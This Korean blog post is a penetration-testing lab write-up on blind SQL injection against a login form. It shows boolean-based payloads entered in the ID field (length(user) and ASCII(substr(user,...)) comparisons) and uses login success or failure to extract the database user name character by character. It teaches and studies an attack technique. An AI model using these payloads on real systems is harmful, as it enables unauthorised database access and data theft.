Blind SQL INJECTION(Login)

SQL Injection이란?

[모의해킹] - SQL Injection 공격(Union, Error, Blind...)

 

SQL Injection 공격(Union, Error, Blind...)

SQL Injection Injection(삽입)은 외부 입력값을 내부처리에 사용하는 경우, 외부 입력값 처리를 조작하는 문자열 포함 여부를 확인하지 않고 사용하는 경우 또는 원래 의도했던 처리가 변경되어 수행

psjin230.tistory.com

 

[모의해킹] - Blind SQL Injection

 

Blind SQL Injection

SQL Injection이란? [모의해킹] - SQL Injection 공격(Union, Error, Blind...) SQL Injection 공격(Union, Error, Blind...) SQL Injection Injection(삽입)은 외부 입력값을 내부처리에 사용하는 경우, 외부 입력값 처리를 조작하

psjin230.tistory.com

 

Blind SQL INJECTION(Login)

(Hint) 서버 측 쿼리

더보기

select ID, PW, NAME from MEMBER where ID=PARAM_ID

if(PARAM_PW == DB_PW){

           LOGIN_OK;

}else{

           LOGIN_FAIL;

}

 

(0) 초기작업 : 아이디 sk0000, 비밀번호 0000으로 가입

=> 아이디 존재 여부 확인, 없으면 만들기

=> 아이디 생성 후 로그인 확인

=> 로그인 확인

 

(1) 아이디가 있는지 확인

=> 공격할 때 사용하기 위해 사용자 아이디 확인

=> 아이디 sk0000이 있으므로 해당 아이디로 공격 시도

 

(2) DB user명 길이 확인

[아이디 입력] sk0000' and length(user)=7--

로그인 성공

[아이디 입력] sk0000' and length(user)=8--

로그인 실패

=> user명 : 7글자

 

(3) DB user명 정보 확인

substr 함수를 사용하여 비교 값을 바꿔가면서 user명 확인

[아이디 입력] sk0000' and ASCII(substr(user,1,1)) > 0--

로그인 성공 시 출력되는 화면

=> 로그인 성공

=> 1번째 값의 아스키코드는 0보다 큼

 

[아이디 입력] sk0000' and ASCII(substr(user,1,1)) > 70--

[아이디 입력] sk0000' and ASCII(substr(user,1,1)) > 72--

> 70
> 72

=> 로그인 성공

 

[아이디 입력] sk0000' and ASCII(substr(user,1,1)) > 73--

로그인 실패 시 출력되는 화면

=> 로그인 실패

=> 즉, 첫 번째 글자의 아스키 코드 값은 73으로, I(대문자 i)

 

위와 같은 방식으로 user명 7자리를 모두 확인

=> 첫 번째 글자 72 초과 73 이하, I

=> 두 번째 글자 77 초과 78 이하, N

=> 세 번째 글자 69 초과 70 이하, F

=> 네 번째 글자 78 초과 79 이하, O

=> 다섯 번째 글자 82 초과 83 이하, S

=> 여섯 번째 글자 68 초과 69 이하, E

=> 일곱 번째 글자 66 초과 67 이하, C

=> user : INFOSEC

 

(4) DB user명 최종 확인

[아이디 입력] sk0000' and user='INFOSEC'--

로그인 성공

=> user  : INFOSEC